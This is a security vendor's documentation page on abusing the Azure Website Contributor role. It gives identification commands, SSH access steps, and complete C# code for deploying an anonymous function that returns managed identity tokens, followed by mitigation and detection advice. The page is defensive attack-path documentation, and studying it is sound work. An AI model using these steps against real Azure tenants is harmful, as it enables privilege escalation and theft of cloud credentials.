> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_website_contributor.md).

# AZ\_WEBSITE\_CONTRIBUTOR

## Summary

|                            |                                                              |
| -------------------------- | ------------------------------------------------------------ |
| **Forestall ACL Alias**    | AZ\_WEBSITE\_CONTRIBUTOR                                     |
| **Azure Alias**            | Website Contributor (Azure RBAC)                             |
| **Affected Object Types**  | App Services, Function Apps, Static Web Apps                 |
| **Exploitation Certainty** | Certain                                                      |
| **Azure RBAC Roles**       | Website Contributor (`de139f84-1756-47ae-9be6-808fbbe84772`} |

**Custom Role Actions:**

* `Microsoft.Web/sites/*`

## Description

`AZ_WEBSITE_CONTRIBUTOR` represents the Azure RBAC **Website Contributor** role assignment. This role grants full control over Azure App Services and Function Apps, enabling:

* **Deploy code** - publish arbitrary code that executes under the app identity.
* **Access publishing credentials** - retrieve FTP/FTPS credentials and deployment tokens.
* **Modify app settings** - access environment variables containing secrets.
* **List host keys** - retrieve Function App keys for direct invocation.
* **Execute commands** - SSH as root (Linux) or run commands via Kudu API.

This role includes `Microsoft.Web/sites/publish/Action` which enables command execution. See [**AZ\_EXECUTE\_COMMAND**](https://gitlab.com/forestall/fsprotect-knowledge-base/-/tree/gitbook/edges/AZ_EXECUTE_COMMAND/README.md#azwebapp---app-services--function-apps) for detailed exploitation methods.

App Services and Function Apps commonly have:

* **Managed identities** with access to Key Vaults, databases, and other resources.
* **Connection strings** containing database credentials.
* **API keys** and secrets in application settings.
* **Network access** to internal resources via VNet integration.

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

# List Website Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Website Contributor" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# List all Web Apps
Get-AzWebApp | Select-Object Name, ResourceGroup, DefaultHostName, State

# List all Function Apps
Get-AzFunctionApp | Select-Object Name, ResourceGroup, DefaultHostName, State

# Check a web app managed identity
$app = Get-AzWebApp -ResourceGroupName "<RGName>" -Name "<AppName>"
$app.Identity
```

## Exploitation

This role grants `Microsoft.Web/sites/publish/Action` which enables command execution on App Services.

**See** [**AZ\_EXECUTE\_COMMAND**](https://gitlab.com/forestall/fsprotect-knowledge-base/-/tree/gitbook/edges/AZ_EXECUTE_COMMAND/README.md#azwebapp---app-services--function-apps) for web-based exploitation methods.

### SSH via Azure CLI (Linux App Services)

The CLI SSH commands require Website Contributor (or equivalent) role, not just `publish/Action`.

**Azure CLI - Interactive shell**

```bash
az webapp ssh --name "<AppName>" --resource-group "<RGName>"
```

![ssh to a web app](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-9478c2e456e38429f4ed49db1d24703806a6884a%2Fazure-az_website_contributor-ssh_to_web_app.png?alt=media)

**Azure CLI - SSH to Function App (Premium/Dedicated plans only)**

> **Note:** SSH is only available on Linux Function Apps running on **Premium** or **Dedicated (App Service)** plans. Consumption plan Function Apps do not support SSH.

```bash
az webapp ssh --name "<FunctionAppName>" --resource-group "<RGName>"
```

![SSH to a Function App](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-81e3f6a98606ee09a9556feafa5ea5d17b7fe222%2Fazure-az_website_contributor-ssh_to_functionapp.png?alt=media)

### Function App HTTP Trigger (.NET)

Deploy a .NET isolated Azure Function that uses `Azure.Identity` to request managed identity tokens.

**Requirements:**

* .NET SDK 10.0+ installed
* Azure Functions Core Tools (`npm install -g azure-functions-core-tools@4`)
* Azure CLI authenticated with Website Contributor role
* Target Function App running on .NET isolated worker

**Step 1: Install .NET Function templates**

```bash
dotnet new install Microsoft.Azure.Functions.Worker.ProjectTemplates
dotnet new install Microsoft.Azure.Functions.Worker.ItemTemplates
```

**Step 2: Create and initialize the function project**

```bash
mkdir mi-dotnet-func
cd mi-dotnet-func
func init --worker-runtime dotnet-isolated
func new --name GetMIToken --template "HTTP trigger" --authlevel "anonymous"
```

**Step 3: Add Azure.Identity package**

```bash
dotnet add package Azure.Identity
```

![Install dependencies and create a .NET isolated Function App](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-4830e408e274eced6a78cc408c0505d585d475e2%2Fazure-az_website_contributor-create_function_dotnet_isolated.png?alt=media) **Step 4: Replace `GetMIToken.cs` with token acquisition code**

For **system-assigned managed identity** (no client ID required):

```csharp
using Microsoft.Azure.Functions.Worker;
using Microsoft.Extensions.Logging;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Azure.Core;
using Azure.Identity;
namespace mi_dotnet_func;

public class GetMIToken
{
    private readonly ILogger<GetMIToken> _logger;

    public GetMIToken(ILogger<GetMIToken> logger)
    {
        _logger = logger;
    }

    [Function("GetMIToken")]
    public async Task<IActionResult> Run([HttpTrigger(AuthorizationLevel.Anonymous, "get", "post")] HttpRequest req)
    {
          string scope = "https://management.azure.com/.default";

            // System-assigned managed identity - no client ID needed
            //var credential = new ManagedIdentityCredential();

            string clientId = "a22986ea-7ae9-430f-af09-62ed5026b9db";
            var credential = new ManagedIdentityCredential(clientId);

            AccessToken token = await credential.GetTokenAsync(
                new TokenRequestContext(new[] { scope })
            );

            return new OkObjectResult(new
            {
                Message = "Managed Identity token acquired successfully",
                AccessToken = token.Token,
                Scope = scope,
                ExpiresOn = token.ExpiresOn
            });
    }
}

```

**Step 5: Deploy to target Function App**

```bash
func azure functionapp publish <FunctionAppName>
```

![Build and publish the Function App](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-7d559a8448e23625968bf0568fe742c6472f0423%2Fazure-az_website_contributor-building_and_publishing_function.png?alt=media)

**Step 6: Invoke the function to get the token**

```bash
curl "https://<FunctionAppName>.azurewebsites.net/api/GetMIToken"
```

![get the managed identity token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-10a1ec8b421a17a37177034ce3055aa5fa273f56%2Fazure-az_website_contributor-get_managed_identity_token.png?alt=media)

#### Enumerating User-Assigned Managed Identity Client IDs

If the Function App uses a **user-assigned managed identity**, you must first enumerate the client ID before requesting tokens.

**Azure CLI:**

```bash
# List user-assigned identities on a Function App
az functionapp identity show \
    --name "<FunctionAppName>" \
    --resource-group "<RGName>" \
    --query "userAssignedIdentities"

# List all user-assigned managed identities in a resource group
az identity list \
    --resource-group "<RGName>" \
    --query "[].{Name:name, ClientId:clientId, PrincipalId:principalId}" \
    --output table
```

**PowerShell (Az Module):**

```powershell
# Get Function App identity configuration
$app = Get-AzFunctionApp -ResourceGroupName "<RGName>" -Name "<FunctionAppName>"
$app.Identity.UserAssignedIdentities

# List all user-assigned managed identities in a resource group
Get-AzUserAssignedIdentity -ResourceGroupName "<RGName>" |
    Select-Object Name, ClientId, PrincipalId |
    Format-Table -AutoSize
```

**Output example:**

| Name             | ClientId                             | PrincipalId  |
| ---------------- | ------------------------------------ | ------------ |
| my-func-identity | a22986ea-7ae9-430f-af09-62ed5026b9db | 8f3b1c2d-... |

Use the `ClientId` value when constructing the `ManagedIdentityCredential`:

```csharp
var credential = new ManagedIdentityCredential("a22986ea-7ae9-430f-af09-62ed5026b9db");
```

## Mitigation

1. **Minimize Website Contributor assignments**
   * Use **Website Reader** for read-only access.
   * Scope assignments to specific apps.
2. **Apply least privilege to managed identities**
   * App managed identities should have minimal required permissions.
3. **Secure app settings**
   * Use Key Vault references instead of storing secrets in app settings.
4. **Enable diagnostic logging**
   * Send App Service logs to Log Analytics.

## Detection

Use the Azure Portal:

1. Open **Azure Portal** -> **App Services** -> select the target app.
2. Open **Activity log** and filter **Operation** for `Publish Web App`, `List Publishing Credentials`, and `Update Config`.
3. Review **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Change history** for unexpected publishing or configuration changes.
4. Open **Deployment Center** and review deployment history and source.
5. Open **Diagnose and solve problems** to review app service activity from the portal.

## References

* <https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#website-contributor>
* <https://learn.microsoft.com/en-us/azure/app-service/configure-linux-open-ssh-session>
* <https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/lateral-movement-azure-app-services/>
* <https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.html>
